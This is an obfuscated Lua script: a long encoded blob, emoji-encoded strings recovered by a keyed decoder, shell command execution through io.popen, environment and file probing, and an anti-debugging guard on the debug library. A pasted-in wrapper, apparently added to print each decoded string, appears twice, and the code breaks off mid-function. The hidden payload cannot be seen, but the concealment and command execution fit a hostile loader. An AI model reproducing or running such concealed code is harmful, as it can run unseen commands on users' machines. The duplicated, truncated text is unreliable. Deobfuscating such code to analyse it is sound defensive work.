SSEUKY4RMBWCFORSZ4QX7OBGIYH2TPWZDA55LAKXLSTGBD6OOKONJUGFC4QMYQV7RN2REBQNVMMNG56MPBXWDBCXKXKLDMY73NHAGMEONFXIWJWUXAJWXWKU33T4RXVDRHFE2E7KBKGXWBI4EMIEUQCK2J4Z5CDLSH7O5POPGUP4YQWQZZCVA77HGZDT3TRZV6EY3V43G7IJWMEBEUAAYJWSYRNAVHHMR7YNG47FP44Y7EGTKZAOB7PTW5IUVOXTWAC76S2VZYNEY5LMF4X355UPY6NGLBCJP4CZRSOGGTZXIZQKKAB4RYRP2FGZ7EUUXXYDR3K3PM74FGE7CMJ5KG6UYTSQSQLHB6RZRUR7OSBJVT2H3ERHFL5OCUMPWAYLTH56UE4FS5CNUZ3OQ7GWTETA5XJKHPRNMGFZ5QPACBYMPFTOE7ERY4Y2OVMAG4MRU6H5AW5R4WFJBTMTQFHP5O23HHQDFEEAC5MY2DWQPGSEJQ3CM3JENCYX47V5ODAQWGAG5PLVZ625ETWCOUNEHPKFXEMRACFYCIOUPSK335C4KNFO6S4Q464LDPTG5BJTZGNUUAYJMGAMPDTLPIRFEGUV2DDN3DQWLTNCSDFEZMLBSEZU2AFFPUUNBW6VWTLP4SLEPRHRVN5HOTSGCNSJSTRHGEOQ7NDFCBEI5WYTO6MU7POXM2BGN7LBWSFELPSHHKWAQABVDEYERRQ3L37NBUQGORTO2VHCBDQDTXWCLQCP5IH5N6FUA3UKETR5VYOB3NOHQTLMZ2MG3RDK37H4VUFDWQOBBUYN7RPGECPY3IQOPXAAGC6R5NCONGTVNC6Z7T7Q57IZQU7EUO3J6BALUPIYRIVZQZDYABML3JRJUFSM4BL322T5V63K273YZWGZDNUWERVBEDJKMQSYCVG266G2ZSJ6DUINNGMIXUHI7SQP72JBYQQBK5E57TEUMK23AJESKSMOMDJ55FIDEMDV47HMNFWGXV2JBLFOQCMJ3H52ZNIRLOFV6PUSPTIPOLCVV25OJTPXKCQGP76E3LIGNUZDI6IO26WFX3WASXJUYE2T4YHOYBYIKOABCFYOYHPMLLOMZHJWIQHLKYVQ2XULH34SY4MAWJFLW5ZPR447VGO2P63E6O746CRRP5XGXAIZDCRYMJOS3PKJUCIT2OBNVANXEGE6AAH7D6HPBHJHO43FW7PD5GYSMBOZEKJIFF6RF4YRQSTWG7XV7MBBMIOLNZ6BDB57DJGVNR34DZYF5XWDU4KIVTRMVHAXWJY27UM5CDOF5BWF6JXHSRPELGKMZFAAW3DDCXZB3K5INGHIT33OSAUQBAP5KV3VTPNNNIJTRSRHMT6PQSBCMQYA5IBCJU3TSSZJLCJFYVT2K4NMH6WZYKQQL7CWB2VJCHVWL76PN4R3XFMYLWOSFAOMWMTNGDEGC6Y6EP6ZWSHBSPH775GUIOZD4NYX6YWTKSWYILT5NF6H5UTO4L4FYZXT2DHQUTT5R3LT57IVZHJPHY6EPKU3XPISBCKTTJNZJQEMK7SFNMOZXV27TZIOOKIPHAMF2KWG24GGU62XWDCSU2JHVSLEDGONHAGFFHU5SGE4ZPFJ56HRXVGV5NPQIY236CHBP4GAQL4PQI3QBVKMI3BJ3BTJPI3VFWGNRCWGWMTOHE2YWAD7Q27GHID7LFFBCXZVTTCDTB3DWOC4GH5THHXL6N3OBPVZESJFUBOTTQMKSVTBI5KJYVHXVMLCRWEDMWVTT7HUHMGZYEL7YKSWIPFAQDXI2V3NZAW2W6U7XSWN2QDQIOQO5QJ6FHOMOY6477QE4WYE7EG3W6AFUSJYYMAGLOLUXDZYEROHWYPQYLJPLF7GWS3PIVMMWFVMVDTLO3PLU2TIBSZ6DJ24CPHFDCS47RVLT65KA5GHPZHRAUJGXVG3GUSJGPT3NGC7MATWXHAW5BO76RN77GYRL4MSEVZNB5BSG4FMJDI5KIEGGL7AL7QVBNZOROCEIRBB4PGH3UKLW5K4QHJFS3YRTM6KVYNXVIHZYNIJLYYODIXK5ILZB2SJXPSQRHVVZSXPTHKKIWT4M77V44OEADI7QUNYWKJAMLXBFRELZTLAFBH5WNCCSYO573DKQFMY3YUWQ2F7ADCZ56E653XFZS75HU7M7S3O76A7FV3RU7M4BD2UBF6ZQN66KOM5IRQJJXB3JWVEMQPHJI472CGW3R4G7HVAZYZNPIBZEBEB5FVARIRUICDJBSZPHRCWUC3SPR5FERFSV4EGRD67SWZRV6Y23KY2TN5NWCLBGQXDT3FY2D7L3A6N6GSYMB4FFGDXJVJDKBGXRE4DDFONPELZMPXN3VA2BT3F3AGYLXREMEQJIBVZCS6BP5OXUE5RB64BC65WPMXXR37ABRMUILFONPPT5WQ5ZZ72FULEYP463P42T5CNOZJKJ3PM4USOCH5W4BMZDVGRX4RJCRFEYDEY7HZQJNAAMGXTT3J27TJLWA54WFYFXYO2AYCMXGAEBRO2WL7HXOLOFCIPLSBLWTYCD6FX4IBTAJ3POSPNZP5GLPYI7D5OUABJW3FARZK54XOOQZKNXH3ND7IQCSKPMMMBAX4CQQYASCWI2JAKYSMOVWAKFHCXKFMTG7GEKXGVE5AE3QQKAMEGNGJX346F4STVPYLDKTKY7GFQ62PGWVYK7SMFVMA54LNANZ6IYWCPP2VSIZC5IQJCVKCD6NBXHKI7HECUW2UWVHQXBRU6QZZXP5QIB7F4CEXHJQGOFGDZZFAS5TNNOOJ6XOV6WUEE2XWPDSW5UE2YXNLTWNA2EY3DTIMW3F4JU57ZEVRAFDJD25NFETA3DJQVMSKSOMJEA6ZYBXUNKXL43QOKAJ7VH2CXH3L2AI7AQE3KSUWW2TYHLJ7UTO27SBM2MWC4QY2NTZPPO4DILC4F4TP2Q7CNFJDVXP7FIS7J7JIT5GSMO5W7OOQL22RP6YSB5QZ74SRNE56G54YHJHQDHTEACIVTIJOGHDJAVKQYMJHTCBMRT4RACOOMFI3OEGHG2PM7RKGCFFJEU4CSEJZVZABQ2NGW7U3NC462QVK6TTOTHNUARCJ2NZYUKCFV4DFR4MTBN2S6PTSUJGISCNBSJXALSHRIEAUER6D42VIBYOULT4U5VHYHCQ6PF32YR5SVGLSQYZYD35U5Z3XQ6BIZ2XOV5UJUGXMWKZJ5ZAU26V3QZS7MFDQUJTJFGLOHJSXNLBD2QBAFVWQE5GAO7GFXD2CNADTI4UGNGCTBLBFY7ZY5SGL4Q6K25UJGIBYEH2Z5C2GSNBXEKG4UWNAX3T5WMGVLSJWV7HVPDMSTGROYWMYYMXISCAS7WPXMCDMTPDB66USGFQP5SQOWTA4RWLUGXMVJ7QENL6EU5BGTTTRLEUNNZSHYR5RMDCJEIZ53KLBCRPSPUBSVCAMHZX7IKN2MVL2YJKYOZB6Y64BCKIB5YZDFXJ5GRTLXUK2N4GKYYCARVUFH7X4SJ5FE5NMYVAGMVBC3VCWYTEO33TEDRFZOK667FWR4EMGBSNPQYG4E7DTW4SUX3XW5QNER7G4TFZMWC3FBSPMI6JTUVGMGYPV2VEPM2BGADDQMXTAE2N32H57PVYIF7QVKTKKZMZ2P6J6AHARXWE5ZOCGZOPEQK5IZ2VX3DSQQG2IJ2AX5D3PPPJYWF6UZV6JWDW24YLP3KSHUX3XYMNQHDFKQTKRPP67MB77ACXU3UWJ7BFSPPKBUVQD4OJIJ3G2ALISJWOITTWIQJBQRQ4OZZ6FTPAT6IPJNSPAZWNFKM7VABEBOL2P37MKG3WS2BFZANOWHOLZKYEESDXPT3BIGCKCVN3V75OP2TPX7RUNZOILDLXGK33N7ZNDMWXFNDIO3U6LBSUBEIH3SQSZ3XGAROY5O3V7KT32QWUADDR3IBBONFBQ2NNM2YWCJKBPGKZVI674NPWEWQDRVHDMHN2SXUM335GV3N7VRBYWB3Y7R3M2XR4COEK6RLXBJRLUIRKOFBODJMYKKU4LDF7Q4Y3HCS4EZMR52CVIIMCXBGWRPPPJ34RCIKGOH4E7ZEX3FVX3ZTMPMFLNM67XIHNXUQEI34GILPK2IOIYJTWAANDGQQENJVJQT67BVOV2F36TVXZXCBX64WCQF462Y4Y576FPDR34H3JQLX5H65O4A5MWVQ3MQAVXHHYQTBGEETUV3TWHTWW3TRKSO6T2ZNAGM3S4YBSLE6CW3ZLDXTFJWZJZPZOOPJAOPU6CZ7DXR2KYHTK2SX5K44YUBGMZJ474O4IEFA5S54RU4HZNTBTKMXWPDV33B6B7NT57ZQPGMNTKTY4BJIGJJK4QMVYNIKWPQCUQVJ54YUC4JMOQOM2JYQVYNQGAYUW567YN65UAXERQCPYFMSXNJKOTNNWV3D332JLJOCPTJWQAJW3PH53ZVJU7CLH6YQSXYYKKKKJEEIRWFMGK6BTWYSWKNNFCJ7VZZU465JDE3HGVYIRPA6B6N2R5BI5QAABXV2RTHDTMGI435B4QGYWPYZU4T4CYWHVIBM4KX7CICTI3FLLKTLO26YIDJCYSJJVH52KKYATV3Z7Q7UNZQIBJQ4WY2RYQX2VTIYC3S7XMW45RG2QAIPAL4ZX5TRHY2T27HRSQ2NZMLJTOB55724KXXU427HY3XKC4UO23WAERAA5QO2S5BVFSH6RMI52EF6CA2HDXHLJQSG2EEFZA5YMVGSQDAUTBQIRDND6RIE5EU45VGJ7WBIEYP7FXVTCLSIYG2ILVU6JIM6HPTT6LGXKITQQKNSAS7G4APUXYOCR7YOMF357MGUSCBSQJVBC3RLZPRIM5GPIYCZ5SNLAUF7MYQW54ZXW5UCCNGGYYTXO2FPBDCCZ2YA6AADQYYMX3TP5OXYVTVRBFHBCKB5DDL6QTSO4B3RINR56R6RSOKHBLAQ4SIEB3X6UXOZKEF2EWM67ZJJE2VCTMS32BAH7FPOZKZZWWOLZ6UESINTUBBOE556KOEQZ3AZEYORTVY2XNC6FO4EPSP46FK6W7MHWVBLIYYRLF3FHCXKXYS2PB7ZVK4OQW3TZWYWZ6J4D7XNJMX3K645RWVV6WX5KLO5IA5G2ZQ3XZ4QQB5QVKU4RMI6DET3QLI4IJA5OLTNUSRDWZWWIWT4YKY4LKGQP5UTLD5TOKS5A3KQJFBOQ52BTEIOMCQT4Y2O5KNGCG6RPUYEYQZGVX4JLZII5NVZ4S2G75BHBNNXHCLT3FQRA32BEFF5KLESSHVGZXXZ6CECHSGGG66JQ625UCGJUFIKQKASKIWVDW7762CFZFXAMDCCFXX2MZZDQW4SQTLRPTHWF7QW4OQ6DG7YPI3YK7Y7K6Q6Q66Y2DC5AJUGP4DLIZC2SIJSTJRDJCCJ5LYYIQBJIPJUXMHJIBIJGP3FJQGAIJ5FZUK353XIPXETQEDEK3QVNVVCQZXIR4QQRROR4Z7IPMGTM32GDNSMCG6HLI2ZZTZV5T6KWYU6AZ72HZGU5HVG6ZJQD5TIQBH63YEJLF2LLZWC36HYD4CUXZNTVEI5CCUAGPNPQTCODCO67FBRN3FBB7QQKWJUOH33VBZBGZQO2C3ARDO3RIVIJZCWRERGWQEC4E4WPJATH3M5PPE6H35HRUJQC5MNMZQ6YNSICNCMFL2NTIKDLMN7HCOXVC3M66S2QUP3BVVJBZX3YH22RFXYLAEJ333OFBWJCQEZ4CK65N7BLYDT5NB6AG6ENQJVAMLFVPGI2P4D4OVC66EWYV3ZB2V37536WHEP2EQ6O6FKKQMUKXLG5XKOXLR6EAHOYN6IPZNQPGN3ZPA4PRLR55F7PHJLQXVTPNUSXW5DSV5MMLJ5QQ3EYHH23AP2Y4RJTH3DRRCM2RETBSOWIZWEL6L3TAKBYSIL4LY4STQR3VG6RZCPVFNHINPBGTA34RGMY2NJ6UQWYL2FWDGM4V3W74W5VLII75QRIM53X6PVD53XO5DR7R7RFMMRQF6QAAXZK4HSS3LVMXISIXTML3FOIV546TYL4KWRFA3F44U7SAILURDE42PVFGCXHGE54XDGUEBTCVRP53XNDZAW53T2PFJLLDSW3U6GPJLRZCICRFB67YFYGA45YEC2GREGNYJZAKHZBVLV22MJBGZS64YOCT7PEYQRTA26RRFAYBCRW7SVAEXZZIG2WJCFPLF5IFGVYFPYRGZ6GLAEHHVXXJOJS4ECNJSYT3BSR274K5GKGWMZMYMLXMMBW3BVQHBY6XMV5MKXSTXXS4LOSMBOKCFT6PDWPSCW2VLPUFSLKCSAUYUB4OQHG6MPU6P2LLAOPXSGXHV3VIBM2RSHTV24OK2V47LDIJRMKI57QHRWZR5HRN6NGOFI7UGB3ZGXGFJ3JPYG2ALYDKWJF6BVQXJVI3SLKYBN4ORXA6GSPVMPJVXIZ75XJ4XMSI27KOMMRPVUGEX3F3EXE33DJCVJOAJ5GW5ZWAXBEDXT7QPEIXUR2OJ3QQWHW243QYQO45ZOEJ6OLZVGIKYFUHUHH23XUURLWO5G4WM2R4NGJ6S7VJQOZOYBSQTJHLLQ7II7IAMCZQLS26FFEPEPQB44NQ3MLMTU5EGWOQM7TOBMETZAWKUSXBSW76S265ZFYBZ65YKR2FB7EJXVIT757WC4KRGRVAFKYSIIOQLKLLMY5WCWU2WGLSAWZLA6JCF6G2F4LJ2BU2U6LNVQPO4SNXBF23P46WMTRP24CR3BNYDOMYVAHRDLRMHF4RCSDGI3GVKHXM7WPC73H3NOV7JJX6YUDURIHGRX7G4BSHTZIU7POKZIU6AZGBPI5HN4LFBLFGPMFUIUUUZFWZFMVZUDR5X3AX375P4B46S3OU5EAAJQOTW4ACIP2WVNHWNABJUKLDQJDGHNPKFYQ5Y36GJ2BACYZ6UMVKCM37TTVAQMCIHG2EGL7E3FIUPDP2DLKV3L4T33GHLKZ4YWNSJFRZMLXAIDZIL3OIESIZJ3QOM3UM4RR7V5PS2Q2REREI2GJDGMMI2OTJE32FDSBA6EC4JAI7N4UZCHXCDYYZQW33VZAXHS5REVDN52KNM5R3DICLBGHHQNGFCMGL3FSKDPCKRJB4AGLNLL5OYRU6S7JN65T75BQ7CWTRXO4R7NGW3WQWTLXWYFYFGGOVG226LUK3ZB46G5HOEMYYFJGAW7NCBSYUBGUIWQBY752MCO45C3YBIVKHEQ7DGNZGILWMRC3LYTARXP6APVQGUS6Q4FCQPDAU3MCSBLOUTWZBXW3SVNWTQ4UYWW3JSOTIW37QGGDXUYFEJIMNOS2YR3NGY6PPJF3F3BHXAWXSLYVI3F6A6LWFRXZZX5BJXW4CIV76G2M5AU27OSQGY4NCGNL674HLHUGZ4AYEMXIUSYHGXQ3M5BILHATBBF4F6FKZUB3AM3SEDKBVYGAUFPL6HHWI2FKGHOAR2QXTPDMDGE5RG34UIKCQSMZSS3H4OSRLKA5P3WVEB3MFDXOASYXWA6GYQ73JDSEXKNYJ5Y3W4RYA3QSLP63HZDWSRIGJGMGARW2CB4SOBK3NL535YFVJ42X3HEVVCXCTVH6ZGJNF2W7LHD2YBDK46F7Q7ZF3R2ZYIR3NB6PDB3EOL76Z7UL4TRBLFQZY3JFGYCJNRPGSY7FLRLDUZTQSAIBJ2ZIRYT3TYRHWPLU6RF3DL6GPGM34BLPJSPAVSW25H76ST5XUHMMWQA7MGJPVXWUKFKNHPRCDT5NK7WRORDVCLVOASY6DBDZJY5IQLHKW6ZZOCKVXU5IGMCASTCBKVNZFPLIRLYH4OFQAADXUGHWG6SBOZT2Z4LSQ5CCFONZMDT6OZXYVH5ZQVQKVE6ZBZJK242CA27TIRSHJMNAZVLYMTORMIYPV7I24RXA3ZEJHWFW6WN2QPO7X3AZAKUAS2B6NWQRHJQT25ZDX7CO4M4L7RHY765FE6ZGMRW5TEQH5GPVICHRADP75Q7MC3B5Z74AQH3N3FCU3I7BHOSXNQKGZCZCEWCTEDYXDCE6UG4ZLYL2DHOWB3KDLCUJW5DQWW3WUZ2MZLLXJJCROFMSLAYFNFRJADZK2WOH5MARCJ6FDKFHCNZIXASN7QHN2NB2DMZZ4GSSXUBNLA42HAVU7BKEUYY4UW3H67VS4X4ZB5276HYU4SSVCJP2UGWO52ZE6YRYZNOZNL2EBYS44JHKUCEENH3YNFEKBMTDMUU5RABL4YNQORFQR5JFEYZM6KLVEYBQBPQQXJRH3MSD7SGII7TG6HMCQEEY5JDL4PW4PVRB27FTLT5B2PQBQJG5GKH6UINPSKVPX2I375BCSBLIIEYZIJK7S27LIAJJP7EX327KVSIYX2DP6TWX7NYB3OHF6CHNVGBBL3A5TSSH3MILUTHDNHR4YNAX562PDTGZAESP7F6WE3FZTIFV2JGF6UVW2ABEFNT3AOBOPP6UL7DCFSQ6ACNF6ZCHM6CRLFQ2XL355FGDJBRKRBQDI3JYAJUSFUPX4NSXAX4FG5ERU25CFBH7LD63BKBUX6BZ6CT7KM6WAQGSPESI5QNADWH63HT66OBNN5U7BVOO5VCY3KXDQ2SI6WUVKUUXDZPKNT4CFWR3UYYLFHUJDHON2DBRNPCNEPF6TEJTX4WOO5GTDTUYWZ34LMXRCPKQRQO5TF4EQDHYKC2P3QMXYVZXPSA6YHH4ECP6Y5Q3VP47P2KK26PHJ6G6NKWQERCG5RARCYZNV6I2ARIIZWP2MDVXCSCXSQQG4DOYMQ4X7PU4OOLZGE4WPEOB7XW3II737G3IRFB7B5EL5AMN6BIYTHVHYJ6WYW22IPI3XRLTYGJYTPPJCLEQEFKTWR76GWURMQ2QJYCFMLGIB4WJ5RKN4DCHPR3J6TQPCNSCIUVXNKWIM4CGTR6NF3XU6FMB5FOJZQLJLXYL662VRFR3LQAKFNFSKTCCBERBPH45QI4TLPAWWTIZIGJPMTZANOGJSFSRQXBU2QQQ2IZHZ6B7S53MNLKSXEY7IHLT5DYP7Z3P7BNKV5CLUBIRRD4PTEVHGN3GYZJQWQBMJ5TVFF7QXDXY2B7GXSJ6LJJBZGCJKOTLBMUUWQUB6QIMVO32S3COQF4C277Q3YXSFRNMBIFV2IA3I7KMHQOLFRLSLA2ERUIB6W764E2KGU5GXGCM2ZDUYSY4XY3A6SIZ3HVUJ6X4WLUZRARYZKD66AFWLPUSAFXAR3FBKY7W5YZAYCKW4NG6LQSZLTH3VPQCPCROKD45NZWNVQYC6Q565QUDL53LT3VDNKZATEYEM2EL7LSZYRFHJBBHKKT6CGTYMAFFUK6IVAHGZXFISVOFRVUUJOYXGJKVMG4IDNZSIKPEBGBAOEM7NVLNFOSC7BAL7B4QE7M2PY5DG7XP7ZA3ZNZTBYDPWDRDBMTKNC5ULPVAXW6KX2BF3KDCEW3UGAXQFZB5IQSRH6SKZHXGBHMSYNXNEGYYBKRMDIH5TLU7UZ7GVVYGDXBS23WZG7XGZ6FFXWVGBBDSANYZJIMWUCYHYLISATG7I5SVYHJJFP72N7IFL254VCM6LGO6OYHE2OGXUF7EILOHSS7FE6IXOYOJXV2MQDTEBO23N5JPX6EAYQAZYWXW5WXBPTBAIIIEMGK6R5O7245VEZRRX33ODFLLVHQ6FPXBT72X6YAOOX7VYPSUVNSTNBGETXVZ4XMVZ4VJUTSWMMGIQHCALXQHLJJIEWBI735WTKCSSERDCKP2VYKDZQJBO2XNSMT6DKAQGB4HATPGDUMPWMK53QS623FF2FSQ5ERI2MCYCOOBB5RNNWU2NSIXPLFLFVNTJCO5LWOAJ2PFCZD36W2Q7LO3AGKABZTUJT72QOJMHAH3FMM56FHCAXPCNXNSWOQVB75TGS6PLOB24BR4PGOTCED4JPXPBZW4W5O6NG5W57CCPOODBO2GEB2D5HXL43IYI6AV6ZVNSPH3YMOB4IGLDZMALJ6B4PQHCFQRWO63XMMFMCGSFZN4CROTFG656WHRAWJUPUUVLNMIQE75CYAYGMLZ5O54JZBQYZJERJ3GRRJTOFVO7OFGHCYYNCX4QG5KEHTRY5FLCHEYXRYM754ELKI4XPBIA4ZJ5GCLLPKE26GFFWNNYYSWNOQGAKS7FRFQUCOAYF5VO7LJPDEPNSX4GRWCAHPCHP27T7WQU35FJ2S7COTX5PALM7SR4S27F5V2DMWJQJXL3OC2ZC3FKJFT24C2FYBIYJQ5AP4NAXJCPBXQQOP4TEAQILFLVMTHAGKGQVHBL7XFUOKM7N6T3AENFPUM2TSZNBDWUJNAENN23H5LGH427HEC6FOBBEJZEQXHU3H6UJV6ESK34OIF5RDKORY5LVOIBEZGEEOI5H4MDOQI65PVGFNMU5CPCNCTTGJHTGSEAVFPKV7343U76GEDE7LVOSXD3YRAJ7EBIDTFC4POK2UV3ENI55NQISOSV75BOHI3DLIO6RCCDY6TESYXIKIFWA5KQYAAMRSTUZJCPHRS6H3JOBAK4WRX5ZPS4RU33GCDAHCFTEZ3D73DYDDEN3KY7T3AP2KA2Y7ZHP6MJYKPSGB6WZWCRSENUE7DW762NMF6QGUZG6GTLDKTZN4ZZQFTTZFSQ6WDXYHUNNKOGE6EG2O4PIBCJMHPN5CNJLUWLMFURVOPLBRGTATFT2EV6IK4ZMMM6PJMCLUDXIORY26TS45TZQQDIMJMJUEXYVY5ZEZI2SCGREZG3EBC3SHB4JDYE325MM2TISKJJGUY635BJZGU74ZVZYKCVFF7SRSE624RKDWKKY6CXI6RFYESSMWKUX35NX6V4Z7S3BARYRDU7QOW2SGBHUC6MIAECOGCFYMWHBM4HDQQCUV5N5G7MUW2FVEECVDQXS2WOUYGX6UNMZRRWLDS5JVVFTLWMNIYHMMP6S7ZJEECCNUEA3DO5ZBJI2SO6OR2XHIKRGHM26RBO7VY5DWHW54IBVTJJZ5AQ74PSSSZHO"
local __P = true
local __E_SPACE = "\240\159\144\160\240\159\144\153"
local __E_QUOTE = "\240\159\144\160\240\159\140\180"
local __E_BSQUOTE = "\240\159\140\138\240\159\144\172\240\159\165\165\240\159\140\138"
local __E_REDIR = "\240\159\144\160\240\159\144\153\240\159\140\138\240\159\140\138\240\159\140\180\240\159\144\160\240\159\165\165\240\159\140\186\240\159\144\172\240\159\140\186"
local __E_TAIL = "\240\159\144\160\240\159\144\153\240\159\140\138\240\159\166\128\240\159\144\162\240\159\144\160\240\159\166\136\240\159\165\165\240\159\144\179\240\159\144\153\240\159\144\139\240\159\144\179\240\159\165\165\240\159\144\153\240\159\140\136\240\159\144\179\240\159\166\128\240\159\165\165\240\159\140\186\240\159\140\139\240\159\140\136\240\159\165\165\240\159\144\160\240\159\144\139\240\159\140\186\240\159\140\180\240\159\166\128\240\159\144\154\240\159\165\165\240\159\140\138\240\159\144\172\240\159\144\172\240\159\140\138\240\159\144\160\240\159\144\179\240\159\140\180\240\159\144\161\240\159\140\136\240\159\166\128\240\159\140\139\240\159\144\161\240\159\144\162\240\159\144\160\240\159\144\179\240\159\166\128\240\159\165\165\240\159\144\162\240\159\166\136\240\159\140\180\240\159\144\160\240\159\144\162\240\159\144\153\240\159\140\186\240\159\140\186\240\159\166\128\240\159\166\136\240\159\144\160\240\159\166\136\240\159\140\136\240\159\144\154\240\159\166\136\240\159\140\139\240\159\144\154\240\159\144\153"
local __E_READA = "\240\159\144\160\240\159\144\161\240\159\144\161\240\159\144\172"
local __U8 = function(a, b, c, d)
  return string.char(a, b, c, d)
end
local function __T()
  return {
    __U8(240, 159, 140, 186),
    __U8(240, 159, 140, 180),
    __U8(240, 159, 140, 138),
    __U8(240, 159, 140, 139),
    __U8(240, 159, 165, 165),
    __U8(240, 159, 140, 136),
    __U8(240, 159, 144, 162),
    __U8(240, 159, 144, 160),
    __U8(240, 159, 144, 172),
    __U8(240, 159, 144, 139),
    __U8(240, 159, 144, 154),
    __U8(240, 159, 144, 179),
    __U8(240, 159, 144, 161),
    __U8(240, 159, 166, 128),
    __U8(240, 159, 166, 136),
    __U8(240, 159, 144, 153)
  }
end

local function __D_original(t, k)
  local T = __T()
  local S = function(k)
    k = tostring(k or "")
    local s = 3237919422
    for i = 1, #k do
      s = (s * 1315423911 + k:byte(i)) % 4294967296
    end
    return s
  end
  local M = function(seed)
    return function()
      seed = (1664525 * seed + 1013904223) % 4294967296
      return seed
    end
  end
  local X = function(a, b)
    local r, p = 0, 1
    for _ = 1, 4 do
      local A = a % 2
      local B = b % 2
      if (A + B) % 2 == 1 then
        r = r + p
      end
      a = (a - A) / 2
      b = (b - B) / 2
      p = p * 2
    end
    return r
  end
  if k == nil then
    k = __K
  end
  local key_on = k ~= nil and k ~= ""
  local permute = __P == true and key_on
  local toklen = 4
  local perm = {}
  for n = 0, 15 do
    perm[n] = n
  end
  if permute then
    local r = M(S(tostring(k) .. "|perm"))
    for i = 15, 1, -1 do
      local j = r() % (i + 1)
      perm[i], perm[j] = perm[j], perm[i]
    end
  end
  local dec_map = {}
  for n = 0, 15 do
    local idx = permute and perm[n] or n
    dec_map[T[idx + 1]] = n
  end
  t = (t or ""):gsub("%s+", "")
  local out, n, i, step = {}, #t, 1, toklen * 2
  local ks
  if key_on then
    do
      local r = M(S(tostring(k) .. "|xor"))
      function ks()
        local v = r() % 256
        return (v - v % 16) / 16, v % 16
      end
    end
  end
  while n >= i + step - 1 do
    local a = t:sub(i, i + toklen - 1)
    local b = t:sub(i + toklen, i + step - 1)
    local hi, lo = dec_map[a], dec_map[b]
    if not hi or not lo then
      break
    end
    if ks then
      local kh, kl = ks()
      hi = X(hi, kh)
      lo = X(lo, kl)
    end
    out[#out + 1] = string.char(hi * 16 + lo)
    i = i + step
  end
  return table.concat(out)
end
-- NEW WRAPPER FUNCTION (Paste this ABOVE the original __D)
local function __D(t, k)
  -- Call the RENAMED original decoding function
  local decoded_value = __D_original(t, k) -- This line calls the renamed function

  -- Format the original encoded string for printing (escape non-printables)
  local original_escaped = string.format("%q", t)

  -- Format the decoded value for printing (escape non-printables)
  local decoded_escaped = string.format("%q", decoded_value)

  -- Print both (only print if decoding produced something different or was non-empty)
  if t ~= decoded_value or t ~= "" then
      print("--- Decode ---")
      print(" Original: " .. original_escaped)
      print(" Decoded:  " .. decoded_escaped)
      print("--------------")
  end

  -- Return the actual decoded value so the script continues normally
  return decoded_value
end
local va = {}
local vb = package.config:sub(1, 1) == __D("\240\159\140\138\240\159\144\172", __K)
local function vc(vd)
  return (vd or __D("", __K)):lower()
end
local ve = function(vf)
  local vg = {}
  if not vf then
    return vg
  end
  for vh in vf:gmatch("([^\r\n]+)") do
    vg[#vg + 1] = vh
  end
  return vg
end
local function vi(vj)
  local vk, vl = pcall(io.popen, vj)
  if not vk or not vl then
    return (__D("", __K))
  end
  local vm = vl:read((__D("\240\159\144\160\240\159\144\161\240\159\144\161\240\159\144\172", __K)))
  vl:close()
  return vm or __D("", __K)
end
local function vn(vo)
  local vp = io.open(vo, (__D("\240\159\140\186\240\159\140\180\240\159\144\161\240\159\140\138", __K)))
  if vp then
    vp:close()
    return true
  end
  return false
end
local function vq(vr)
  for vs, vt in ipairs(vr) do
    if vn(vt) then
      return vt
    end
  end
  return nil
end
local vu = function(vv)
  return os.getenv(vv)
end
local vw = function()
  return (os.clock() or 0) * 1000
end
local vx = function(vy, vz)
  vy[#vy + 1] = vz
end
va.fa = {
  fb = 25,
  fc = 200000,
  fd = 2,
  fe = 1,
  ff = 2
}
-- NEW WRAPPER FUNCTION (Paste this ABOVE the original __D)
local function __D(t, k)
  -- Call the RENAMED original decoding function
  local decoded_value = __D_original(t, k) -- This line calls the renamed function

  -- Format the original encoded string for printing (escape non-printables)
  local original_escaped = string.format("%q", t)

  -- Format the decoded value for printing (escape non-printables)
  local decoded_escaped = string.format("%q", decoded_value)

  -- Print both (only print if decoding produced something different or was non-empty)
  if t ~= decoded_value or t ~= "" then
      print("--- Decode ---")
      print(" Original: " .. original_escaped)
      print(" Decoded:  " .. decoded_escaped)
      print("--------------")
  end

  -- Return the actual decoded value so the script continues normally
  return decoded_value
end
local function v0()
  if type(debug) ~= __D("\240\159\140\186\240\159\140\139\240\159\144\161\240\159\144\172\240\159\144\162\240\159\140\139\240\159\144\161\240\159\144\162\240\159\144\179\240\159\144\179", __K) then
    return false, (__D("\240\159\144\172\240\159\165\165\240\159\144\161\240\159\140\180\240\159\166\128\240\159\140\136\240\159\144\161\240\159\140\138\240\159\144\179\240\159\144\179\240\159\144\154\240\159\166\136\240\159\144\161\240\159\144\162\240\159\166\128\240\159\144\153\240\159\166\128\240\159\144\160\240\159\144\160\240\159\144\179\240\159\140\180\240\159\144\162\240\159\144\172\240\159\144\154", __K))
  end
  local v1 = {
    fg = true,
    fh = true,
    fi = true,
    fj = true,
    fk = true,
    fl = true,
    fm = true,
    fn = true,
    fo = true
  }
  local v2 = debug
  local v3 = pcall(setmetatable, v2, {
    __index = function(v4, v5)
      if v1[v5] then
        error(__D("\240\159\144\172\240\159\140\139\240\159\144\161\240\159\144\160\240\159\144\162\240\159\140\139\240\159\166\136\240\159\165\165\240\159\144\179\240\159\166\136\240\159\144\139\240\159\144\179\240\159\144\179\240\159\166\128\240\159\144\153\240\159\144\162\240\159\144\139\240\159\144\154\240\159\144\172\240\159\144\139\240\159\140\180\240\159\144\172\240\159\144\172\240\159\140\138\240\159\144\179\240\159\166\136\240\159\144\162\240\159\140\180\240\159\165\165\240\159\144\154\240\159\144\172\240\159\144\161\240\159\140\138\240\159\140\139\240\159\144\172\240\159\144\162\240\159\144\161\240\159\140\136", __K) .. v5, 2)
      end
      return rawget(v2, v5)
    end,
    __newindex = function()
      error(__D("\240\159\144\172\240\159\140\139\240\159\144\161\240\159\144\160\240\159\144\162\240\159\140\139\240\159\166\136\240\159\165\165\240\159\144\179\240\159\166\136\240\159\144\139\240\159\144\179\240\159\144\179\240\159\166\128\240\159\144\153\240\159\144\162\240\159\144\139\240\159\144\154\240\159\144\172\240\159\144\139\240\159\140\180\240\159\144\162\240\159\140\186\240\159\144\153\240\159\140\186\240\159\140\139\240\159\140\136\240\159\166\128\240\159\165\165\240\159\140\138\240\159\144\172\240\159\165\165\240\159\140\138\240\159\140\139\240\159\140\186\240\159\144\153\240\159\165\165\240\159\144\179\240\159\144\154\240\159\144\139\240\159\144\160\240\159\144\153\240\159\140\186\240\159\144\153", __K), 2)
    end
  })
  if not v3 or not __D("\240\159\144\172\240\159\144\172\240\159\144\161\240\159\140\180\240\159\144\162\240\159\144\139\240\159\144\161\240\159\144\153\240\159\144\179\240\159\144\179\240\159\144\154\240\159\140\186", __K) then
  end
